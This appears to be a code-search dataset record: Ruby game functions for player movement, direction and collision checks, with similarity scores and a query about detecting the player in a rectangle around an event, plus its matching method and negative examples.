"def go(direction)\n room = find_room_in_direction(direction)\n\n if room\n puts \"You go \" + direction.to_s\n @player.location = room\n show_current_description\n # When player enters certain rooms, certain events happen\n if room == :redroom\n # if you enter redroom, new instance of class Monster created, param is random damage\n minotaur = Monster.new(\"minotaur\", rand(5..12))\n puts \"Your health before the monster is #{@player.health}\"\n @player.health = minotaur.post_monster_health(minotaur.does_damage, @player.health)\n elsif room == :toyroom\n ball_string = Healthpack.new(\"ball of string\", 5)\n @player.health = ball_string.add_health(ball_string.restores_health, @player.health)\n elsif room == :goldroom\n abort\"YOU WON! You can take as much gold as you want! Congrats!\"\n end\n else\n puts \"That is a wall\"\n end\n\n end",
"def drive(cmd)\n if @steer.include?(cmd)\n @orientation = @gps.turn(cmd)\n else\n move\n end\n end",
"def current_player_move\n @on_move == HUMAN_PLAYER ? human.move : computer.move\n end",
"def turn_toward(character)\n # calculate differences in x and y\n dx, dy = @real_x - character.real_x, @real_y - character.real_y\n # determines where to turn according to the x and y differences\n if dx < 0 && dx.abs >= dy.abs # character is right\n turn_right\n elsif dx > 0 && dx.abs >= dy.abs # character is left\n turn_left\n elsif dy < 0 # character is down\n turn_down\n elsif dy > 0 # character is up\n turn_up\n end\n end",
"def movable_direction?\n\t\tif(@location.x == 0 && @direction == :WEST)\n\t\t\tthen false\n\t\telsif(@location.x == @grid-1 && @direction == :EAST)\n\t\t\tthen false\n\t\telsif(@location.y == 0 && @direction == :SOUTH)\n\t\t\tthen false\n\t\telsif(@location.y == @grid-1 && @direction == :NORTH)\n\t\t\tthen false\n\t\telse\n\t\t\ttrue\n\t\tend\n\tend",
"def direction\n @direction ||= Vector.new(p2.x - p1.x, p2.y - p1.y)\n end",
"def get_direction(data)\n # default direction\n dir = 0\n # handle special directions\n case data\n when DIR90Right\n # go back two indices in circle\n dir = Cache::LoopDir8[(Cache::LoopDir8.index(@ch.direction) + 6) % 8]\n # when 90 degrees left\n when DIR90Left\n # go forward two indices in circle\n dir = Cache::LoopDir8[(Cache::LoopDir8.index(@ch.direction) + 2) % 8]\n # when forward\n when DIRForward\n # character's direction\n dir = @ch.direction\n # when backward\n when DIRBackward\n # character's direction\n dir = 10 - @ch.direction\n # when toward player\n when DIRTowardPlayer\n # get distance to player\n dx = $game_player.x - @ch.x\n dy = $game_player.y - @ch.y\n # direction toward player\n dir = vector_to_direction(dx, dy)\n # when away from player\n when DIRAwayPlayer\n # get from to player\n dx = @ch.x - $game_player.x\n dy = @ch.y - $game_player.y\n # direction away from player\n dir = vector_to_direction(dx, dy)\n # Random 4 way direction\n when DIRRandom4\n # Random 4 way direction\n dir = Cache::Dir4[rand(4)]\n # Random 8 way direction\n when DIRRandom8\n # Random 8 way direction\n dir = Cache::Dir8[rand(8)]\n # when 45 degrees right\n when DIR45Right\n # go to previous index in circle\n dir = Cache::LoopDir8[(Cache::LoopDir8.index(@ch.direction) + 7) % 8]\n # when 45degrees left\n when DIR45Left\n # go to next index in circle\n dir = Cache::LoopDir8[(Cache::LoopDir8.index(@ch.direction) + 1) % 8]\n # no special direction\n else\n # set to 0-10 direction\n dir = data\n end\n return dir\n end",
"def can_move?(direction)\n m = @pusher[:pos_m]\n n = @pusher[:pos_n]\n\n direction = direction.downcase\n\n # Following of the direction, test 2 cells\n if direction == 'u'\n move1 = read_pos(m-1, n)\n move2 = read_pos(m-2, n)\n elsif direction == 'd'\n move1 = read_pos(m+1, n)\n move2 = read_pos(m+2, n)\n elsif direction == 'l'\n move1 = read_pos(m, n-1)\n move2 = read_pos(m, n-2)\n elsif direction == 'r'\n move1 = read_pos(m, n+1)\n move2 = read_pos(m, n+2)\n end\n\n # Check that's not a wall, or two boxes, or one boxes and a wall\n !(move1 == '#' || ((move1 == '*' || move1 == '$') && (move2 == '*' || move2 == '$' || move2 == '#')))\n end",
"def moving?\n if tdd_use_fme?\n Input.dir8 > 0\n else\n @real_x != @x || @real_y != @y\n end\n end",
"def next_to_enemy?\n Map::DIRECTIONS.any? { |dir| @warrior.feel(dir).enemy? }\n end",
"def move_type_toward_player\n # Get difference in player coordinates\n sx = @x - $game_player.x\n sy = @y - $game_player.y\n # Get absolute value of difference\n abs_sx = sx > 0 ? sx : -sx\n abs_sy = sy > 0 ? sy : -sy\n # If separated by 20 or more tiles matching up horizontally and vertically\n if sx + sy >= 20\n # Random\n move_random\n return\n end\n # Branch by random numbers 0-5\n case rand(6)\n when 0..3 # Approach player\n move_toward_player\n when 4 # random\n move_random\n when 5 # 1 step forward\n move_forward\n end\n end",
"def directionalInput\n temp = self.input_buffer[self.input_buffer.length-4,self.input_buffer.length-1]\n $game_variables[1] = temp\n return \"circle\" if (temp == \"DRUL\") || (temp == \"DLUR\") || (temp == \"RDLU\") || (temp == \"RULD\") || (temp == \"LDRU\") || (temp == \"LURD\") || (temp == \"URDL\") || (temp == \"ULDR\")\n temp = self.input_buffer[self.input_buffer.length-3,self.input_buffer.length-1]\n return \"half\" if (temp == \"DRU\") || (temp == \"DLU\") || (temp == \"RDL\") || (temp == \"RUL\") || (temp == \"LDR\") || (temp == \"LUR\") || (temp == \"URD\") || (temp == \"ULD\")\n temp = self.input_buffer[self.input_buffer.length-2,self.input_buffer.length-1]\n return \"back forward\" if (temp == \"LR\") || (temp == \"RL\") || (temp == \"UD\") || (temp == \"DU\")\n return \"neutral\"\n end",
"def directions\n return UP_DIRS + DOWN_DIRS if king\n color == :white ? UP_DIRS : DOWN_DIRS\n end",
"def direction(fx, fy, tx, ty)\n\t\treturn @@E if fx < tx \n\t\treturn @@W if fx > tx\n\t\treturn @@S if fy < ty\n\t\treturn @@N if fy > ty\n\tend",
"def calc_player\n state.player.x += state.player.dx # changes x based on dx (change in x)\n state.player.y += state.player.dy # changes y based on dy (change in y)\n\n state.player.dx *= 0.9 # scales dx down\n state.player.dy *= 0.9 # scales dy down\n\n # Compares player's x to 1280 to find lesser value, then compares result to 0 to find greater value.\n # This ensures that the player remains within the screen's scope.\n state.player.x = state.player.x.lesser(1280).greater(0)\n state.player.y = state.player.y.lesser(720).greater(0) # same with player's y\n end",
"def can_change_direction_to?(new_direction)\n case @direction\n when 'up' then new_direction != 'down'\n when 'down' then new_direction != 'up'\n when 'left' then new_direction != 'right'\n when 'right' then new_direction != 'left'\n end\n end",
"def facing_determine(original_facing, move)\n if move[0] == 'L'\n if move[1..-1].to_i/90 == 1 \n original_facing += 3\n elsif move[1..-1].to_i/90 == 2\n original_facing += 2\n elsif move[1..-1].to_i/90 == 3\n original_facing += 1\n end\n original_facing = original_facing%4 if original_facing > 3\n elsif move[0] == 'R'\n original_facing += move[1..-1].to_i/90 \n original_facing = original_facing%4 if original_facing > 3\n end\n return original_facing\nend",
"def move(direction)\n\tcase direction\n\t\twhen :up then puts \"Moved up\"\n\t\twhen :down then puts \"Moved down\"\n\t\twhen :left then puts \"Moved left\"\n\t\twhen :right then puts \"Moved right\"\n\t\telse puts \"Is '#{direction}' in another dimension?\"\n\tend\n\nend",
"def direction_passable?(x, y, d)\n # impassable if coordinates not valid\n return false unless direction_valid?(x, y)\n # return event check and tile check result\n return (event_check(x, y, d) && tile_check(x, y, d))\n end",
"def near_xy direction\n nx = @x\n ny = @y\n delta = [\"ny -= 1\", \"nx += 1\", \"ny += 1\", \"nx -= 1\"]\n @angle.times{delta.push delta.shift}\n direction_index = ['f','r','b','l'].index(direction)\n eval(delta[direction_index])\n nangle = @angle + direction_index\n return ny, nx, nangle\n end",
"def MyDirections(pos, dir)\n coordinates = []\n np = pos.dup\n row = np[0] + dir[0]\n col = np[1] + dir[1]\n np = [row, col]\n while valid?(np)\n #add if enemy and break out of loop\n coordinates << np\n if EnemiesArePresent(np)\n np = [-1, -1]\n else\n #Friends Are Present\n row = np[0] + dir[0]\n col = np[1] + dir[1]\n np = [row, col]\n end\n end\n\n coordinates\n end",
"def get_direction(direction)\n direction_hash[direction]\n end",
"def is_current_players_turn?(current_player)\n if self.up_next == current_player.username\n true\n else\n false\n end\n end",
"def update_one_player\n # if moving up\n if Input.press?(Input::UP)\n self.y -= 4 unless self.y <= 0\n end\n # if moving down\n if Input.press?(Input::DOWN)\n self.y += 4 unless self.ey >= 480\n end\n end",
"def enemy_direction()\r\n for i in 0..3\r\n if @warrior.feel(DIRECTIONS[i]).enemy?\r\n return DIRECTIONS[i]\r\n end\r\n end\r\n end",
"def shoot_directional_vector args\n dx = 0\n dx += 1 if args.inputs.keyboard.key_down.right || args.inputs.keyboard.key_held.right\n dx -= 1 if args.inputs.keyboard.key_down.left || args.inputs.keyboard.key_held.left\n dy = 0\n dy += 1 if args.inputs.keyboard.key_down.up || args.inputs.keyboard.key_held.up\n dy -= 1 if args.inputs.keyboard.key_down.down || args.inputs.keyboard.key_held.down\n if dx != 0 && dy != 0\n dx *= 0.7071\n dy *= 0.7071\n end\n [dx, dy]\nend",
"def pour(direction)\n @pour_status = direction\n if @pour_status == \"left\"\n puts \"You're pouring cereal to the left!!\"\n @pour_status = \"Pour completed.\"\n elsif @pour_status == \"right\"\n puts \"You're pouring your cereal to the right.\"\n @pour_status = \"Pour completed.\"\n end\n end",
"def can_see_wizard?(direction)\n return false unless @warrior.respond_to?(:look)\n look(direction).each{|location|\n return true if contains_enemy?(location)\n return false unless location.empty? \n }\n return false \n end",
"def lead_player \n l1 = left(@on_move)\n if @played[l1] == nil \n return nil #\n end \n end",
"def calc_player\n state.dy += state.gravity # what goes up must come down because of gravity\n calc_box_collision\n calc_edge_collision\n state.y += state.dy # Since velocity is the change in position, the change in y increases by dy\n state.x += state.dx # Ditto line above but dx and x\n state.dx *= 0.8 # Scales dx down\n end",
"def collision?(direction)\r\n\t\t# do something\r\n\t\treturn false # just for now\r\n\tend",
"def traverse room, direction\n case direction.to_sym\n when :right\n return @graph[room.coords[:y]][room.coords[:x] + 1] unless room.is_right?\n when :left\n return @graph[room.coords[:y]][room.coords[:x] - 1] unless room.is_left?\n when :up\n return @graph[room.coords[:y] - 1][room.coords[:x]] unless room.is_top?\n when :down\n return @graph[room.coords[:y] + 1][room.coords[:x]] unless room.is_bottom?\n end\n\n return false\n end",
"def direction\n target_floor <=> floor\n end",
"def up?\n direction == UP\n end",
"def samedirection?(vector2)\n end",
"def move(direction)\n\t\tnorth = [\"n\", \"up\", \"north\"]\n\t\teast = [\"e\", \"right\", \"east\"]\n\t\twest = [\"w\", \"left\", \"west\"]\n\t\tsouth = [\"s\", \"down\", \"south\"]\n\t\tif north.include?(direction)\n\t\t\tdirection == \"north\"\n\t\telsif east.include?(direction)\n\t\t\tdirection == \"east\"\n\t\telsif west.include?(direction)\n\t\t\tdirection == \"west\"\n\t\telsif south.include?(direction)\n\t\t\tdirection == south\n\t\tend\n\t\tif $hero.location.exits.has_key?(direction)\n\t\t\tnewroom = $hero.location.exits[direction]\n\t\t\t$hero.location = newroom\n\t\t\t$hero.xy = newroom.xy\n\t\telse\n\t\t\tputs \"You cannot travel #{direction}. The path does not lead there.\"\n\t\tend\n\tend",
"def checkWithinBoundaries?(player)\n # Is this necessary (abs'ing for range)\n lat = self.latitude\n long = self.longitude\n lat2 = self.latitude2\n long2 = self.longitude2\n\n if !player.positioned?\n return false\n end\n\n if (lat > lat2)\n temp = lat2\n lat2 = lat\n lat = temp\n end\n\n if (long > long2)\n temp = long2\n long2 = long\n long = temp\n end\n \n if (player.lat >= lat && player.lat <= lat2) && (player.long >= long && player.long <= long2)\n return true\n else\n return false\n end\n end",
"def face_toward_character?(character, range = nil)\n cx = @x - character.x\n cy = @y - character.y\n \n if range\n range += 0.3\n return false if Math.hypot(cx,cy) >= range\n end\n \n if cx.abs < cy.abs\n return cx > 0 ? @direction == 4 : @direction == 6\n else\n return cy > 0 ? @direction == 2 : @direction == 8\n end\n \n end",
"def direction? x\r\n var1 = self.inner_product(x)\r\n var2 = self.r*x.r/var1\r\n\r\n if (1.0 - var2.abs).abs < @zero\r\n if var2 > 0\r\n return 1\r\n else\r\n return -1\r\n end\r\n else\r\n return 0\r\n end\r\n end",
"def move_type_toward_player\n # Get difference in player coordinates\n sx = @x - $player.x\n sy = @y - $player.y\n # Get absolute value of difference\n abs_sx = sx > 0 ? sx : -sx\n abs_sy = sy > 0 ? sy : -sy\n # If separated by 20 or more tiles matching up horizontally and vertically\n if sx + sy >= 20\n # Random\n move_random\n return\n end\n\n # What if they follow more aggressively on harder difficulty?\n\n # Branch by random numbers 0-5\n case rand(6)\n when 0..3 # Approach player\n move_toward_player\n when 4 # random\n move_random\n when 5 # 1 step forward\n move_forward\n end\n\n end",
"def dir_ok(direction, dir_hop) \n\t\t@board.in_bounds?(dir_hop) && \n\t\t@board.get_piece(dir_hop).nil? && \n\t\t!@board.get_piece(direction).nil? && \n\t\t@board.get_piece(direction).color != @color\n\tend",
"def turn direction, &complete_handler\n @direction = look_at direction\n sleep 0.25 / @speed\n complete_handler.call\n end",
"def update_position(direction)\n ox, oy = @x, @y\n nx, ny = @x, @y\n case direction\n when :left\n nx -= 1\n when :right\n nx += 1\n when :up\n return unless @current_cell.ladder? && !@current_cell.sky?\n ny -= 1\n when :down\n ny += 1\n end\n \n # If the would-be destination isn't valid, just return without doing anything\n return if @map.cells_at[nx][ny].rock\n return unless ((0..MAP_SIZE - 1).include?(nx) && (0..MAP_SIZE - 1).include?(ny))\n \n # If we've made it this far, the move is valid. Update player's cell coords now.\n @x, @y = nx, ny\n set_center\n set_current_cell\n \n # Fire some events at the map, so it knows how to redraw things the next time around\n @map.handle(CellDugEvent.new([nx, ny])) unless @map.cells_at[nx][ny].dug? or @map.cells_at[nx][ny].sky?\n @map.handle(PlayerMovedEvent.new([ox, oy]))\n\n # Decide whether this move put the player in gravitational jeopardy\n @falling = true if @map.cells_at[nx][ny + 1].dug? && !@map.cells_at[nx][ny + 1].ladder?\n end",
"def moved(player_position)\n if player_position = @location\n @player = false\n end\n end",
"def decide_direction()\n floors = @building.floors\n requests_below = 0\n #see how many people below, wanting to go up or down\n (1..@current_floor).each do |floor_num|\n f = floors[floor_num]\n if f.button_pairs[\"elevator#{@number}\"][\"up\"] == true || f.button_pairs[\"elevator#{@number}\"][\"down\"] == true\n requests_below += f.up_person_queue.size() + f.down_person_queue.size()\n end\n end\n requests_above = 0\n #see how many above wanting to go down or up\n (@current_floor..@building.number_of_floors).each do |floor_num|\n f = floors[floor_num]\n if f.button_pairs[\"elevator#{@number}\"][\"down\"] == true || f.button_pairs[\"elevator#{@number}\"][\"up\"] == true\n requests_above += f.up_person_queue.size() + f.down_person_queue.size()\n end\n end\n if requests_above == 0 && requests_below == 0\n @direction = \"stationary\"\n elsif requests_above > requests_below\n @direction = \"up\"\n move_up()\n else #requests_above <= requests_below\n @direction = \"down\"\n move_down()\n end \n end"
] |
[
"0.69039494",
"0.67745876",
"0.6509103",
"0.64658564",
"0.64279443",
"0.63223827",
"0.6275695",
"0.62329936",
"0.6192447",
"0.6164574",
"0.6164574",
"0.6159311",
"0.61554235",
"0.6108618",
"0.6068152",
"0.6058643",
"0.6058213",
"0.6039256",
"0.6033777",
"0.60277975",
"0.60205406",
"0.6016765",
"0.5945707",
"0.59387475",
"0.5931831",
"0.59165233",
"0.59113646",
"0.58850443",
"0.58755296",
"0.5872342",
"0.58656114",
"0.5852875",
"0.58492535",
"0.584665",
"0.5845204",
"0.5842235",
"0.5840439",
"0.58253676",
"0.5788028",
"0.57866013",
"0.577422",
"0.5768446",
"0.5749569",
"0.5749569",
"0.5749376",
"0.5723534",
"0.5710961",
"0.5707038",
"0.57063454",
"0.5694752",
"0.56891763",
"0.5661713",
"0.5654771",
"0.56471956",
"0.5631995",
"0.563179",
"0.5612596",
"0.56017303",
"0.5594265",
"0.55761456",
"0.5559876",
"0.5540084",
"0.5538652",
"0.5536505",
"0.5532392",
"0.5532366",
"0.5528102",
"0.55191797",
"0.55190545",
"0.5518257",
"0.55165356",
"0.5505363",
"0.5504891",
"0.5504152",
"0.54994553",
"0.5499177",
"0.5495853",
"0.54938084",
"0.5490789",
"0.5486885",
"0.5486678",
"0.5481691",
"0.5481254",
"0.5479777",
"0.54793113",
"0.5479062",
"0.54770464",
"0.54729325",
"0.545975",
"0.5455344",
"0.5447088",
"0.5440029",
"0.5434473",
"0.54332596",
"0.5428387",
"0.54266983",
"0.542475",
"0.54243565",
"0.54238594",
"0.5414816"
] |
0.7166496
|
0
|
Detect the player in a rectangle around the event
|
def detect_player_rect(nx, ny)
return false if $game_switches[Yuki::Sw::Env_Detection]
c = $game_map.events[@event_id]
dx = ($game_player.x - c.x).abs
dy = ($game_player.y - c.y).abs
return (dx <= nx && dy <= ny)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def onalg_player_has_moved(player,color, start_x, start_y, end_x, end_y)\r\n if player != @alg_player\r\n \r\n end\r\n end",
"def player_push_button(event)\n if ((event.x - 180)**2 + (event.y - 810)**2).abs <= 8100\n @player_playing = 0\n elsif ((event.x - 1180)**2 + (event.y - 810)**2).abs <= 8100\n @player_playing = 1\n \n else\n @player_playing = -1\n end\n end",
"def pbEventFacesPlayer?(event,player,distance)\n return false if distance<=0\n # Event can't reach player if no coordinates coincide\n return false if event.x!=player.x && event.y!=player.y\n deltaX = (event.direction == 6 ? 1 : event.direction == 4 ? -1 : 0)\n deltaY = (event.direction == 2 ? 1 : event.direction == 8 ? -1 : 0)\n # Check for existence of player\n curx=event.x\n cury=event.y\n found=false\n for i in 0...distance\n curx+=deltaX\n cury+=deltaY\n if player.x==curx && player.y==cury\n found=true\n break\n end\n end\n return found\nend",
"def pbEventFacesPlayer?(event,player,distance)\n return false if distance<=0\n # Event can't reach player if no coordinates coincide\n return false if event.x!=player.x && event.y!=player.y\n deltaX = (event.direction==6) ? 1 : (event.direction==4) ? -1 : 0\n deltaY = (event.direction==2) ? 1 : (event.direction==8) ? -1 : 0\n # Check for existence of player\n curx = event.x\n cury = event.y\n found = false\n for i in 0...distance\n curx += deltaX\n cury += deltaY\n if player.x==curx && player.y==cury\n found = true\n break\n end\n end\n return found\nend",
"def collision_players(player)\n @age>(60*5) && local && Gosu::distance(@x, @y, player.x, player.y) < (7+player.r) \n end",
"def touch?(player=@player)\n if (player.getCollisionMask.intersects_with?(getCollisionMask)) and player.status == :alive\n player.touched\n true\n else\n false\n end\n end",
"def check_event_trigger_at(x, y)\n # get pixel movement rate\n pix = $BlizzABS.pixel\n # if player touched this event and not jumping and not over_trigger\n if !jumping? && !over_trigger? && $BlizzABS.util.rect_intersection(\n Rect.new(@x * pix, @y * pix, pix, pix), Rect.new(x, y, pix, pix))\n # start\n start\n # started\n return true\n end\n # not started\n return false\n end",
"def point_to_rect_tech_demo\n x = 460\n\n outputs.labels << small_label(x, 15, \"Click inside the blue box maybe ---->\")\n\n box = [765, 370, 50, 50, 0, 0, 170] # blue box\n outputs.borders << box\n\n if state.last_mouse_click # if the mouse was clicked\n if state.last_mouse_click.point.inside_rect? box # if mouse clicked inside box\n outputs.labels << small_label(x, 16, \"Mouse click happened inside the box.\")\n else # otherwise, if mouse was clicked outside the box\n outputs.labels << small_label(x, 16, \"Mouse click happened outside the box.\")\n end\n else # otherwise, if was not clicked at all\n outputs.labels << small_label(x, 16, \"Mouse click has not occurred yet.\") # output if the mouse was not clicked\n end\n\n # border around mouse input demo section\n outputs.borders << [455, row_to_px(14), 360, row_to_px(11).shift_up(5) - row_to_px(14)]\n end",
"def inside(player)\n acttions.each { |action| action.inside(player) }\n end",
"def on_battle_pixel?(out=0)\n w = Graphics.width + out; h = Graphics.height + out\n return true if screen_x.between?(0 - out,w) and screen_y.between?(0 - out,h)\n return false\n end",
"def check_enemy_hit args\n # define a rectangle around the enemy\n enemy_hitbox = [\n args.state.enemy_x,\n args.state.enemy_y,\n args.state.enemy_w,\n args.state.enemy_h\n ]\n # define a rect around the player's bullet\n player_bullet_hitbox = [\n args.state.player_bullet_x,\n args.state.player_bullet_y,\n args.state.player_bullet_w,\n args.state.player_bullet_h\n ]\n\n # draw the hitbox rects\n args.outputs.debug << {\n x: enemy_hitbox.x,\n y: enemy_hitbox.y,\n w: enemy_hitbox.w,\n h: enemy_hitbox.h,\n r: 255,\n g: 0,\n b: 0\n }.border\n\n args.outputs.debug << {\n x: player_bullet_hitbox.x,\n y: player_bullet_hitbox.y,\n w: player_bullet_hitbox.w,\n h: player_bullet_hitbox.h,\n r: 255,\n g: 0,\n b: 0\n }.border\n\n # check to see if the rects overlap\n if enemy_hitbox.intersect_rect? player_bullet_hitbox\n # the enemy has been hit\n game_over args, \"win\"\n end\nend",
"def over?\n self.player.points == self.board.total_points\n end",
"def inside?(mouse_x, mouse_y)\n pos_x = @x * @width\n pos_y = @y * @height\n mouse_x >= pos_x && mouse_x <= pos_x + @width && \\\n mouse_y >= pos_y && mouse_y <= pos_y + @height\n end",
"def checkVictory\n if @player.x > @exitDoor.x - @exitDoor.width / 2 and @player.x < @exitDoor.x + @exitDoor.width / 2 and @player.y >\n @exitDoor.y - @exitDoor.height / 2 and @player.y < @exitDoor.y + @exitDoor.height / 2\n winGame\n end\n end",
"def mouse_in(mouse_event)\n end",
"def event_check(x, y, d, self_event = nil)\n # get pixel movement rate and set bit\n pix, bit = $BlizzABS.pixel, (1 << (d / 2 - 1)) & 0x0F\n # iterate trough all events except self\n (self.events_only - [self_event]).each {|event|\n # if there's an event that's not through and has a graphic\n if event.character_name != \"\" && event.x == x / pix && \n event.y == y / pix && !event.through &&\n (!self_event.is_a?(Map_Battler) || event.tile_id >= 384)\n # if obstacle bit is set\n if @passages[event.tile_id] & bit != 0\n # get x and y of next tile\n case d\n when 2 then nx, ny = x / pix, (y + 1) / pix\n when 4 then nx, ny = (x - 1) / pix, y / pix\n when 6 then nx, ny = (x + 1) / pix, y / pix\n when 8 then nx, ny = x / pix, (y - 1) / pix\n else\n nx = ny = nil\n end\n # impassable if not on the same tile anymore\n return false if x / pix != nx || y / pix != ny\n # if obstacle bit is set in all directions\n elsif @passages[event.tile_id] & 0x0F == 0x0F\n # impassable in the given direction\n return false\n # if priority is 0\n elsif @priorities[event.tile_id] == 0\n # passable in the given direction\n return true\n # if event is not a tile and not through\n elsif !event.through\n # impassable in any direction\n return false\n end\n end}\n # passable\n return true\n end",
"def area_clicked(leftX, topY, rightX, bottomY)\n # complete this code\n if ((mouse_x > leftX and mouse_x < rightX) and (mouse_y > topY and mouse_y < bottomY))\n true\n else\n false\n end\nend",
"def calc_edge_collision\n\n #Ensures that the player doesn't fall below the map.\n if state.y < 0\n state.y = 0\n state.dy = 0\n\n #Ensures that the player doesn't go too high.\n # Position of player is denoted by bottom left hand corner, which is why we have to subtract the\n # size of the player's box (so it remains visible on the screen)\n elsif state.y > 720 - state.tile_size # if the player's y position exceeds the height of screen\n state.y = 720 - state.tile_size # the player will remain as high as possible while staying on screen\n state.dy = 0\n end\n\n # Ensures that the player remains in the horizontal range that it is supposed to.\n if state.x >= 1280 - state.tile_size && state.dx > 0 # if player moves too far right\n state.x = 1280 - state.tile_size # player will remain as right as possible while staying on screen\n state.dx = 0\n elsif state.x <= 0 && state.dx < 0 # if player moves too far left\n state.x = 0 # player will remain as left as possible while remaining on screen\n state.dx = 0\n end\n end",
"def in_screen?\n return (self.x.between?(0, 639) && (self.y-16).between?(0, 479))\n end",
"def ai\n mx = window.level.mouse.x\n my = window.level.mouse.y\n if @x + 35.0 < mx\n move_right\n if @y >= my + 15.0\n up\n end\n elsif @x > mx + 35.0\n move_left\n if @y >= my + 15.0\n up\n end\n end\n end",
"def over?\n if controller.contains?(*controller.translate_absolute(x, y))\n # the event occurred within this component's local space\n @over = true\n end\n end",
"def mouse_inside?\n mouse_location = self.window.mouseLocationOutsideOfEventStream\n hit_view = self.hitTest(self.convertPoint(mouse_location, fromView:nil))\n \n hit_view != nil\n end",
"def tile_events_xy_rect(x, y, rect)\r\r\n @tile_events.select {|event| event.pos_rect_nt?(x, y, rect) }\r\r\n end",
"def events_xy_rect(x, y, rect)\r\r\n @events.values.select {|event| event.pos_rect?(x, y, rect) }\r\r\n end",
"def hit?(x, y)\n @rect.collide_point?(x, y)\n end",
"def check_player_region_enter_events\n $game_map.events.each_value do |event|\n event.check_event_trigger_on_region_enter\n end\n end",
"def detect_area\n detect_in(@areas, :area) { |area| area.hit?(@mouse_pos) }\n end",
"def player_position_look_update; end",
"def pos_rect_nt?(x, y, rect)\r\r\n pos_rect?(x, y, rect) && !@through\r\r\n end",
"def pointInside(point, withEvent:event)\n CGRectContainsPoint(actual_bounds, point)\n end",
"def pointInside(point, withEvent:event)\n CGRectContainsPoint(actual_bounds, point)\n end",
"def pressed?() sdl_event.press end",
"def collide_with_events?(x, y)\r\r\n $game_map.events_xy_rect_nt(x, y, collision_rect).any? do |event|\r\r\n (event.normal_priority? || self.is_a?(Game_Event)) && event != self\r\r\n end\r\r\n end",
"def over?\n draw? || won?\n end",
"def pos_rect?(x, y, rect)\r\r\n main_left = @x + collision_rect.x / 32.0\r\r\n main_top = @y + collision_rect.y / 32.0\r\r\n main_right = main_left + collision_rect.width / 32.0\r\r\n main_bottom = main_top + collision_rect.height / 32.0\r\r\n other_left = x + rect.x / 32.0\r\r\n other_top = y + rect.y / 32.0\r\r\n other_right = other_left + rect.width / 32.0\r\r\n other_bottom = other_top + rect.height / 32.0\r\r\n coltest = true\r\r\n coltest = false if main_right < other_left\r\r\n coltest = false if main_left > other_right\r\r\n coltest = false if main_bottom < other_top\r\r\n coltest = false if main_top > other_bottom\r\r\n if coltest == false && ($game_map.loop_horizontal? || $game_map.loop_vertical?) && x <= $game_map.width && y <= $game_map.height\r\r\n return true if $game_map.loop_horizontal? && pos_rect?(x + $game_map.width, y, rect)\r\r\n return true if $game_map.loop_vertical? && pos_rect?(x, y + $game_map.height, rect)\r\r\n end\r\r\n return coltest\r\r\n end",
"def cell_occupied_by?(player, x, y)\n player.x == x && player.y == y\n end",
"def under_point?(mouse_x, mouse_y)\n mouse_x > x - PAD && mouse_x < x + width + PAD && mouse_y > y - PAD && mouse_y < y + height + PAD\n end",
"def event_running?\n get_scene.event_running?\n end",
"def collidesWithPlayer\n for x in @x.round..(@x + @width).round\n for y in (@y - @height).round..@y.round\n if @map.player.containsPoint?(x, y)\n @map.player.loseHealth\n end\n end\n end\n end",
"def over?\n won? || draw?;\n end",
"def calc_player\n state.dy += state.gravity # what goes up must come down because of gravity\n calc_box_collision\n calc_edge_collision\n state.y += state.dy # Since velocity is the change in position, the change in y increases by dy\n state.x += state.dx # Ditto line above but dx and x\n state.dx *= 0.8 # Scales dx down\n end",
"def insideScreen(delta)\n ((@x + @image.width + delta) < $windowW and (@x - delta) > 0)\n end",
"def under?\r\n return false if $game_player.screen_x < self.x + @under[0] - @cw / 2\r\n return false if $game_player.screen_y < self.y + @under[1] - @ch\r\n return false if $game_player.screen_x > self.x + @under[2] - @cw / 2\r\n return false if $game_player.screen_y > self.y + @under[3] - @ch + 16\r\n return true\r\n end",
"def collidesWithPlayer\n for x in @x.round..(@x + @width).round\n for y in (@y - @height).round..@y.round\n if @map.player.containsPoint?(x, y)\n @map.player.loseHealth\n death\n return\n end\n end\n end\n end",
"def client_world_rectangle\n @automation_client_world_rect\n end",
"def detect_player(nb_pas, direction)\n return false if $game_switches[Yuki::Sw::Env_Detection]\n c = $game_map.events[@event_id]\n dx = $game_player.x - c.x\n dy = $game_player.y - c.y\n case direction\n when :right, 6\n return (dy == 0 && dx >= 0 && dx <= nb_pas)\n when :down, 2\n return (dx == 0 && dy >= 0 && dy <= nb_pas)\n when :left, 4\n return (dy == 0 && dx <= 0 && dx >= -nb_pas)\n else\n return (dx == 0 && dy <= 0 && dy >= -nb_pas)\n end\n end",
"def calc_edge_collision\n # Ensures that player doesn't fall below the map\n if next_y < 0 && state.dy < 0 # if player is moving down and is about to fall (next_y) below the map's scope\n state.y = 0 # 0 is the lowest the player can be while staying on the screen\n state.dy = 0\n # Ensures player doesn't go insanely high\n elsif next_y > 720 - state.tile_size && state.dy > 0 # if player is moving up, about to exceed map's scope\n state.y = 720 - state.tile_size # if we don't subtract tile_size, we won't be able to see the player on the screen\n state.dy = 0\n end\n\n # Ensures that player remains in the horizontal range its supposed to\n if state.x >= 1280 - state.tile_size && state.dx > 0 # if the player is moving too far right\n state.x = 1280 - state.tile_size # farthest right the player can be while remaining in the screen's scope\n state.dx = 0\n elsif state.x <= 0 && state.dx < 0 # if the player is moving too far left\n state.x = 0 # farthest left the player can be while remaining in the screen's scope\n state.dx = 0\n end\n end",
"def players_within_distance?; captured_points.include? @prey.coords end",
"def path_blocked_by_event?(next_x,next_y)\n px, py = next_x * 4, next_y * 4\n return collision?(px, py)\n end",
"def display_player(index_x, index_y)\n x = @data[\"player_x\"] - get_camera_range(\"x\", \"down\")\n y = @data[\"player_y\"] - get_camera_range(\"y\", \"down\")\n\n\n if x == index_x && y == index_y\n player \n return true\n end\n\n return false\n end",
"def check_follower_trigger_there(new_x, new_y)\n if @follower.x == new_x && @follower.y == new_y\n if @follower.is_a?(Game_Event)\n @follower.start\n else\n @follower.turn_toward_player\n $game_temp.common_event_id = Game_CommonEvent::FOLLOWER_SPEECH\n end\n return true\n end\n return false\n end",
"def collide_rect?(x, y, rect)\r\r\n !@through && (pos_rect?(x, y, rect) || followers.collide_rect?(x, y, rect))\r\r\n end",
"def collide_with_events?(x, y)\r\n $game_map.events_xy_nt(x, y).any? do |event|\r\n event.normal_priority? || self.is_a?(Game_Event)\r\n end\r\n end",
"def rect; end",
"def rect; end",
"def from_side?\n dir1 = get_character(-1).direction\n dir2 = get_character(@event_id).prelock_direction\n diff = (dir1 - dir2).abs\n return diff == 2 || diff == 4\n end",
"def over?\n won? || draw?\n end",
